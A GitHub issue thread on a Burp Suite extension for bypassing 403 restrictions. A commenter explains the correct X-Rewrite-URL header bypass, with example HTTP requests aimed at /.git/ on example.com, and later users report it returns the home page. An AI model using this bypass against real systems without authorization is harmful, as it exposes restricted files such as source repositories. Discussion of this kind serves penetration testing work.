search

sting8k / BurpSuite_403Bypasser

Burpsuite Extension to bypass 403 restricted directory
1.57k stars 204 forks source link

X-Original-Url / X-Rewrite-Url bypass #4

Closed rumiljonov closed 3 years ago

rumiljonov commented 3 years ago

Hey, I think you are using X-Original-Url / X-Rewrite-Url vector in a wrong way. These headers usually help to bypass front server rules, which are based on URI, but you don't change URI while using these headers.

First, normal request returns 403:

GET /.git/ HTTP/1.1
Host: example.com

This attempt to bypass will return 403 too, because URI hasn't changed and the rule still applies:

GET /.git/ HTTP/1.1
Host: example.com
X-Rewrite-URL: /.git/

This one should bypass the restriction:

GET / HTTP/1.1
Host: example.com
X-Rewrite-URL: /.git/
sting8k commented 3 years ago

Thank you, fixed in new update.

abdulx01 commented 2 years ago

Hy, I also check this method: but it's home page in code response

ler-exploit commented 2 years ago

Hy, je vérifie aussi cette méthode: mais c'est la page d'accueil en réponse de code

i have the same problem, did you fix it??